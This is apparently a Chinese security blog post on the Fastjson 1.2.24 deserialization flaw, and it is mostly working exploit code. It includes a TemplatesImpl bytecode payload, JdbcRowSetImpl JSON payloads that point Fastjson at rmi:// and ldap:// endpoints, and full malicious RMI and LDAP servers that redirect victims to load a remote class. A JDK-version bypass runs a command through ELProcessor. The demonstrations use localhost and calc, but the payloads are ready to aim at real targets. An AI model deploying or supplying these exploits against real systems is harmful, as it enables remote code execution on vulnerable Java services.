FastJson 1.2.24版本漏洞分析

0x01环境

jdk8u65,最好是低一点的版本,因为有一条jndi的链子。 Maven 3.6 1.2.22<=Fastjson<=1.2.24 pom.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.12</version>
</dependency>

这里有两条攻击链子,一条是基于TemplatesImpl的链子,另一条是基于JdbcRowSetImpl的链子。

0x02 TemplatesImpl Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
import com.alibaba.fastjson.parser.ParserConfig;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.codec.binary.Base64;  
import org.apache.commons.io.IOUtils;  
  
import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
  
// TemplatesImpl 链子的 EXPpublic class TemplatesImplPoc {  
    public static String readClass(String cls){  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        try {  
            IOUtils.copy(new FileInputStream(new File(cls)), bos);  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
        return Base64.encodeBase64String(bos.toByteArray());  
    }  
  
    public static void main(String args[]){  
        try {  
            ParserConfig config = new ParserConfig();  
            final String fileSeparator = System.getProperty("file.separator");  
            final String evilClassPath = "/Users/f10wers13eicheng/Desktop/JavaSecuritytalk/spring/FastJson/src/main/java/TemplatesImpl.class";  
            String evilCode = readClass(evilClassPath);  
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
            String text1 = "{\"@type\":\"" + NASTY_CLASS +  
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";  
            System.out.println(text1);  
  
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);  
            //Object obj = JSON.parse(text1, Feature.SupportNonPublicField);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

0x03 JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP,都是属于基于Bean Property类型的JNDI的利用方式。

JNDI+RMI

这一条链子名为JdbcRowSetImplJdbcRowSetImpl类里面有一个setDataSourceName()方法,一看方法名就知道是什么意思了。设置数据库源,通过这个方式进行攻击。 exp如下

1
2
3
4
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

根据JNDI注入的漏洞利用,需要先起一个Server,然后把恶意的类放到vps上即可。可以把之前的Server复制进来 JNDIRmiServer.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import javax.naming.InitialContext;  
import javax.naming.Reference;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class JNDIRMIServer {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 Registry registry = LocateRegistry.createRegistry(1099);  
 // RMI  
 //initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞  
 Reference reference = new Reference("JndiCalc","JndiCalc","http://localhost:7777/");  
 initialContext.rebind("rmi://localhost:1099/remoteObj", reference);  
 }  
}

攻击的exp如下

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;  
  
// 基于 JdbcRowSetImpl 的利用链  
public class JdbcRowSetImplExp {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}";  
 JSON.parse(payload);  
 }  
}

JNDI+LDAP

JNDILdapServer.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
  
// jndi 绕过 jdk8u191 之前的攻击  
public class JNDILdapServer {  
    private static final String LDAP_BASE = "dc=example,dc=com";  
 public static void main (String[] args) {  
        String url = "http://127.0.0.1:7777/#JndiCalc";  
 int port = 1099;  
 try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
 config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
 InetAddress.getByName("0.0.0.0"),  
 port,  
 ServerSocketFactory.getDefault(),  
 SocketFactory.getDefault(),  
 (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
 System.out.println("Listening on 0.0.0.0:" + port);  
 ds.startListening();  
 }  
        catch ( Exception e ) {  
            e.printStackTrace();  
 }  
    }  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
        private URL codebase;  
 /**  
 * */ public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
 }  
        /**  
 * {@inheritDoc}  
 * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
 */ @Override  
 public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
 Entry e = new Entry(base);  
 try {  
                sendResult(result, base, e);  
 }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
 }  
        }  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
 System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
 e.addAttribute("javaClassName", "Exploit");  
 String cbstring = this.codebase.toString();  
 int refPos = cbstring.indexOf('#');  
 if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
 }  
            e.addAttribute("javaCodeBase", cbstring);  
 e.addAttribute("objectClass", "javaNamingReference");  
 e.addAttribute("javaFactory", this.codebase.getRef());  
 result.sendSearchEntry(e);  
 result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
 }  
  
    }  
}

exp

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;    
    
public class JdbcRowSetImplLdapExp {    
    public static void main(String[] args) {    
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";    
 JSON.parse(payload);    
 }    
}

0x04 Fastjson攻击中jdk高版本绕过

JNDIBypassHighJavaServerEL.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.StringRefAddr;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
// JNDI 高版本 jdk 绕过服务端,用 bind 的方式  
public class JNDIBypassHighJavaServerEL {  
    public static void main(String[] args) throws Exception {  
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");  
 Registry registry = LocateRegistry.createRegistry(1099);  
  
 // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory  
 ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",  
 true,"org.apache.naming.factory.BeanFactory",null);  
  
 // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码  
 ref.add(new StringRefAddr("forceString", "x=eval"));  
  
 // 利用表达式执行命令  
 ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +  
                ".newInstance().getEngineByName(\"JavaScript\")" +  
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));  
 System.out.println("[*]Evil command: calc");  
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
 registry.bind("Object", referenceWrapper);  
 }  
}

exp

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  
  
public class HighJdkBypass {  
    public static void main(String[] args) {  
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";  
 JSON.parse(payload);  
 }  
}
0%